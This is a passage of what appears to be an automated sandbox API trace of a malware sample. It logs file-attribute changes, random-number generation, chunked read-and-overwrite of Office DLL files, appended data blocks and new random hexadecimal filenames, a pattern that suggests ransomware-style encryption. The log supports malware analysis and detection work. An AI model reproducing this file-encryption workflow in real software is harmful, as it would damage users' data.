_Dest="e5") returned 2 [0216.675] sprintf (in: _Dest=0x1ced5924, _Format="%c%c" | out: _Dest="e1") returned 2 [0216.675] sprintf (in: _Dest=0x1ced5926, _Format="%c%c" | out: _Dest="13") returned 2 [0216.675] sprintf (in: _Dest=0x1ced5928, _Format="%c%c" | out: _Dest="82") returned 2 [0216.675] sprintf (in: _Dest=0x1ced592a, _Format="%c%c" | out: _Dest="2b") returned 2 [0216.675] sprintf (in: _Dest=0x1ced592c, _Format="%c%c" | out: _Dest="d4") returned 2 [0216.675] sprintf (in: _Dest=0x1ced592e, _Format="%c%c" | out: _Dest="1b") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5930, _Format="%c%c" | out: _Dest="41") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5932, _Format="%c%c" | out: _Dest="e1") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5934, _Format="%c%c" | out: _Dest="d6") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5936, _Format="%c%c" | out: _Dest="67") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5938, _Format="%c%c" | out: _Dest="5e") returned 2 [0216.676] sprintf (in: _Dest=0x1ced593a, _Format="%c%c" | out: _Dest="de") returned 2 [0216.676] sprintf (in: _Dest=0x1ced593c, _Format="%c%c" | out: _Dest="f3") returned 2 [0216.676] sprintf (in: _Dest=0x1ced593e, _Format="%c%c" | out: _Dest="93") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5940, _Format="%c%c" | out: _Dest="76") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5942, _Format="%c%c" | out: _Dest="3d") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5944, _Format="%c%c" | out: _Dest="7f") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5946, _Format="%c%c" | out: _Dest="55") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5948, _Format="%c%c" | out: _Dest="58") returned 2 [0216.676] sprintf (in: _Dest=0x1ced594a, _Format="%c%c" | out: _Dest="b7") returned 2 [0216.676] sprintf (in: _Dest=0x1ced594c, _Format="%c%c" | out: _Dest="6a") returned 2 [0216.676] sprintf (in: _Dest=0x1ced594e, _Format="%c%c" | out: _Dest="db") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5950, _Format="%c%c" | out: _Dest="6a") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5952, _Format="%c%c" | out: _Dest="fe") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5954, _Format="%c%c" | out: _Dest="7a") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5956, _Format="%c%c" | out: _Dest="95") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5958, _Format="%c%c" | out: _Dest="d7") returned 2 [0216.676] sprintf (in: _Dest=0x1ced595a, _Format="%c%c" | out: _Dest="29") returned 2 [0216.676] sprintf (in: _Dest=0x1ced595c, _Format="%c%c" | out: _Dest="8a") returned 2 [0216.676] sprintf (in: _Dest=0x1ced595e, _Format="%c%c" | out: _Dest="bd") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5960, _Format="%c%c" | out: _Dest="bb") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5962, _Format="%c%c" | out: _Dest="95") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5964, _Format="%c%c" | out: _Dest="d6") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5966, _Format="%c%c" | out: _Dest="ff") returned 2 [0216.676] sprintf (in: _Dest=0x1ced5968, _Format="%c%c" | out: _Dest="55") returned 2 [0216.676] sprintf (in: _Dest=0x1ced596a, _Format="%c%c" | out: _Dest="4b") returned 2 [0216.677] sprintf (in: _Dest=0x1ced596c, _Format="%c%c" | out: _Dest="ea") returned 2 [0216.677] sprintf (in: _Dest=0x1ced596e, _Format="%c%c" | out: _Dest="b9") returned 2 [0216.677] RtlInitAnsiString (in: DestinationString=0x1ed9fb08, SourceString="45e5e113822bd41b41e1d6675edef393763d7f5558b76adb6afe7a95d7298abdbb95d6ff554beab9" | out: DestinationString="45e5e113822bd41b41e1d6675edef393763d7f5558b76adb6afe7a95d7298abdbb95d6ff554beab9") [0216.677] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ed9fad8, SourceString="45e5e113822bd41b41e1d6675edef393763d7f5558b76adb6afe7a95d7298abdbb95d6ff554beab9", AllocateDestinationString=1 | out: DestinationString="45e5e113822bd41b41e1d6675edef393763d7f5558b76adb6afe7a95d7298abdbb95d6ff554beab9") returned 0x0 [0216.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce179a0 [0216.677] wcscat (in: _Dest=0x20508f90, _Source="45e5e113822bd41b41e1" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\45e5e113822bd41b41e1") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\45e5e113822bd41b41e1" [0216.677] wcscat (in: _Dest=0x20508f90, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\45e5e113822bd41b41e1.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\45e5e113822bd41b41e1.2f9b60" [0216.677] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\45e5e113822bd41b41e1.2f9b60", NtPathName=0x1ed9fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\45e5e113822bd41b41e1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x4312b6e0 Thread: id = 1691 os_tid = 0x74c [0130.438] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll")) returned 0x2020 [0130.483] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll", dwFileAttributes=0x20) returned 1 [0130.484] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a78 [0130.485] GetFileSizeEx (in: hFile=0x1a78, lpFileSize=0x1f2af7a0 | out: lpFileSize=0x1f2af7a0*=681312) returned 1 [0130.485] SetFilePointerEx (in: hFile=0x1a78, liDistanceToMove=0xa655c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.485] ReadFile (in: hFile=0x1a78, lpBuffer=0x1f2af720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f2af768, lpOverlapped=0x0 | out: lpBuffer=0x1f2af720*, lpNumberOfBytesRead=0x1f2af768*=0x4, lpOverlapped=0x0) returned 1 [0130.489] SetFilePointerEx (in: hFile=0x1a78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b20 [0130.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265ca0 [0130.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265cd0 [0130.490] NtQuerySystemTime (in: CurrentTime=0x1f2af660 | out: CurrentTime=0x1f2af660*=132462177357274000) returned 0x0 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x5e8b4469 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x6938e343 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0xe799467 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x31acad3c [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x7b739083 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x75caf2bf [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x3e42eb00 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x3324c9e7 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x4d20fa41 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x40f59494 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x657502da [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x291fdfc9 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x3e1afc3d [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x1ca887f5 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x1f5f59f8 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x6c1346e2 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x408a4529 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x13a1b6d2 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x6d99c935 [0130.490] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x29bceea [0130.491] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x14bb8b08 [0130.491] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x293d5f56 [0130.491] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x1d6a4779 [0130.491] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x52bfbd29 [0130.491] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x1b3d9952 [0130.491] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x22e1c413 [0130.491] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x1ae438c3 [0130.491] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x6817a0e4 [0130.491] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x78f32941 [0130.491] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x5fef40fb [0130.491] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x3f4ca6a9 [0130.491] RtlRandomEx (in: Seed=0x1f2af650 | out: Seed=0x1f2af650) returned 0x487e7c95 [0130.501] SetFilePointerEx (in: hFile=0x1a78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.502] ReadFile (in: hFile=0x1a78, lpBuffer=0x41f04990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f2af6c0, lpOverlapped=0x0 | out: lpBuffer=0x41f04990*, lpNumberOfBytesRead=0x1f2af6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.509] SetFilePointerEx (in: hFile=0x1a78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b20 [0130.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265b20) returned 1 [0130.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41edf0f0 [0130.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b20 [0130.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265cd0 [0130.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265cd0) returned 1 [0130.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.510] WriteFile (hFile=0x1a78, lpBuffer=0x41edf0f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f2af6c0, lpOverlapped=0x0) [0180.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edf0f0) returned 1 [0180.058] SetFilePointerEx (in: hFile=0x1a78, liDistanceToMove=0x56400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.058] ReadFile (in: hFile=0x1a78, lpBuffer=0x41f04990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f2af6c0, lpOverlapped=0x0 | out: lpBuffer=0x41f04990*, lpNumberOfBytesRead=0x1f2af6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.792] SetFilePointerEx (in: hFile=0x1a78, liDistanceToMove=0x56400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0182.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0182.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d304d0 [0182.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d304d0) returned 1 [0182.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42803630 [0182.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d304d0 [0182.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30500 [0182.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30500) returned 1 [0182.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0182.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0182.795] WriteFile (in: hFile=0x1a78, lpBuffer=0x42803630*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f2af6c0, lpOverlapped=0x0 | out: lpBuffer=0x42803630*, lpNumberOfBytesWritten=0x1f2af6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42803630) returned 1 [0198.753] SetFilePointerEx (in: hFile=0x1a78, liDistanceToMove=0xa2960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.753] ReadFile (in: hFile=0x1a78, lpBuffer=0x41f04990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f2af6c0, lpOverlapped=0x0 | out: lpBuffer=0x41f04990*, lpNumberOfBytesRead=0x1f2af6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0199.112] SetFilePointerEx (in: hFile=0x1a78, liDistanceToMove=0xa2960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c2b0 [0199.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c2b0) returned 1 [0199.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423d79b0 [0199.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c2b0 [0199.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c2e0 [0199.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c2e0) returned 1 [0199.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.116] WriteFile (in: hFile=0x1a78, lpBuffer=0x423d79b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f2af6c0, lpOverlapped=0x0 | out: lpBuffer=0x423d79b0*, lpNumberOfBytesWritten=0x1f2af6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423d79b0) returned 1 [0214.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104790 [0214.737] SetFilePointerEx (in: hFile=0x1a78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.737] WriteFile (in: hFile=0x1a78, lpBuffer=0x1ceb9460*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x1f2af770, lpOverlapped=0x0 | out: lpBuffer=0x1ceb9460*, lpNumberOfBytesWritten=0x1f2af770*=0x15c, lpOverlapped=0x0) returned 1 [0218.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0218.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e0f0 [0218.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ac0 [0218.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9ac0) returned 1 [0218.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x431ad4a0 [0218.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ac0 [0218.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e20 [0218.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e20) returned 1 [0218.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0218.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0218.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1b858f10 [0218.774] sprintf (in: _Dest=0x1b858f10, _Format="%c%c" | out: _Dest="74") returned 2 [0218.774] sprintf (in: _Dest=0x1b858f12, _Format="%c%c" | out: _Dest="47") returned 2 [0218.774] sprintf (in: _Dest=0x1b858f14, _Format="%c%c" | out: _Dest="5f") returned 2 [0218.774] sprintf (in: _Dest=0x1b858f16, _Format="%c%c" | out: _Dest="8b") returned 2 [0218.774] sprintf (in: _Dest=0x1b858f18, _Format="%c%c" | out: _Dest="53") returned 2 [0218.774] sprintf (in: _Dest=0x1b858f1a, _Format="%c%c" | out: _Dest="83") returned 2 [0218.774] sprintf (in: _Dest=0x1b858f1c, _Format="%c%c" | out: _Dest="c6") returned 2 [0218.774] sprintf (in: _Dest=0x1b858f1e, _Format="%c%c" | out: _Dest="79") returned 2 [0218.774] sprintf (in: _Dest=0x1b858f20, _Format="%c%c" | out: _Dest="6d") returned 2 [0218.774] sprintf (in: _Dest=0x1b858f22, _Format="%c%c" | out: _Dest="4a") returned 2 [0218.774] sprintf (in: _Dest=0x1b858f24, _Format="%c%c" | out: _Dest="ef") returned 2 [0218.774] sprintf (in: _Dest=0x1b858f26, _Format="%c%c" | out: _Dest="b9") returned 2 [0218.774] sprintf (in: _Dest=0x1b858f28, _Format="%c%c" | out: _Dest="84") returned 2 [0218.774] sprintf (in: _Dest=0x1b858f2a, _Format="%c%c" | out: _Dest="2f") returned 2 [0218.774] sprintf (in: _Dest=0x1b858f2c, _Format="%c%c" | out: _Dest="c1") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f2e, _Format="%c%c" | out: _Dest="60") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f30, _Format="%c%c" | out: _Dest="9e") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f32, _Format="%c%c" | out: _Dest="33") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f34, _Format="%c%c" | out: _Dest="04") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f36, _Format="%c%c" | out: _Dest="a5") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f38, _Format="%c%c" | out: _Dest="68") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f3a, _Format="%c%c" | out: _Dest="20") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f3c, _Format="%c%c" | out: _Dest="92") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f3e, _Format="%c%c" | out: _Dest="05") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f40, _Format="%c%c" | out: _Dest="69") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f42, _Format="%c%c" | out: _Dest="2c") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f44, _Format="%c%c" | out: _Dest="88") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f46, _Format="%c%c" | out: _Dest="3c") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f48, _Format="%c%c" | out: _Dest="03") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f4a, _Format="%c%c" | out: _Dest="50") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f4c, _Format="%c%c" | out: _Dest="cd") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f4e, _Format="%c%c" | out: _Dest="f8") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f50, _Format="%c%c" | out: _Dest="b3") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f52, _Format="%c%c" | out: _Dest="97") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f54, _Format="%c%c" | out: _Dest="ef") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f56, _Format="%c%c" | out: _Dest="84") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f58, _Format="%c%c" | out: _Dest="0b") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f5a, _Format="%c%c" | out: _Dest="4e") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f5c, _Format="%c%c" | out: _Dest="e4") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f5e, _Format="%c%c" | out: _Dest="4b") returned 2 [0218.775] sprintf (in: _Dest=0x1b858f60, _Format="%c%c" | out: _Dest="68") returned 2 [0218.776] sprintf (in: _Dest=0x1b858f62, _Format="%c%c" | out: _Dest="fb") returned 2 [0218.776] RtlInitAnsiString (in: DestinationString=0x1f2af7e8, SourceString="74475f8b5383c6796d4aefb9842fc1609e3304a568209205692c883c0350cdf8b397ef840b4ee44b68fb" | out: DestinationString="74475f8b5383c6796d4aefb9842fc1609e3304a568209205692c883c0350cdf8b397ef840b4ee44b68fb") [0218.776] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f2af7b8, SourceString="74475f8b5383c6796d4aefb9842fc1609e3304a568209205692c883c0350cdf8b397ef840b4ee44b68fb", AllocateDestinationString=1 | out: DestinationString="74475f8b5383c6796d4aefb9842fc1609e3304a568209205692c883c0350cdf8b397ef840b4ee44b68fb") returned 0x0 [0218.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x42c37290 [0218.776] wcscat (in: _Dest=0x43109f30, _Source="74475f8b5383c6796d4ae" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\74475f8b5383c6796d4ae") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\74475f8b5383c6796d4ae" [0218.777] wcscat (in: _Dest=0x43109f30, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\74475f8b5383c6796d4ae.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\74475f8b5383c6796d4ae.2f9b60" [0218.777] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\74475f8b5383c6796d4ae.2f9b60", NtPathName=0x1f2af790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\74475f8b5383c6796d4ae.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x4312c5e0 Thread: id = 1692 os_tid = 0xa18 [0130.505] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll")) returned 0x2020 [0130.505] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0130.506] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a7c [0130.507] GetFileSizeEx (in: hFile=0x1a7c, lpFileSize=0x1f9af8a0 | out: lpFileSize=0x1f9af8a0*=11104) returned 1 [0130.507] SetFilePointerEx (in: hFile=0x1a7c, liDistanceToMove=0x2b5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.507] ReadFile (in: hFile=0x1a7c, lpBuffer=0x1f9af820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f9af868, lpOverlapped=0x0 | out: lpBuffer=0x1f9af820*, lpNumberOfBytesRead=0x1f9af868*=0x4, lpOverlapped=0x0) returned 1 [0130.513] SetFilePointerEx (in: hFile=0x1a7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265cd0 [0130.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d60 [0130.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d90 [0130.513] NtQuerySystemTime (in: CurrentTime=0x1f9af760 | out: CurrentTime=0x1f9af760*=132462177357586000) returned 0x0 [0130.513] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x7c267085 [0130.513] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x1dbd185 [0130.513] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x288fe522 [0130.513] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x4c7047e0 [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x561697ba [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x1bf4020a [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x266b8a37 [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x5384e07f [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x2dd148ce [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x10922217 [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x383d1af4 [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x35146623 [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x15ab37fc [0130.514] 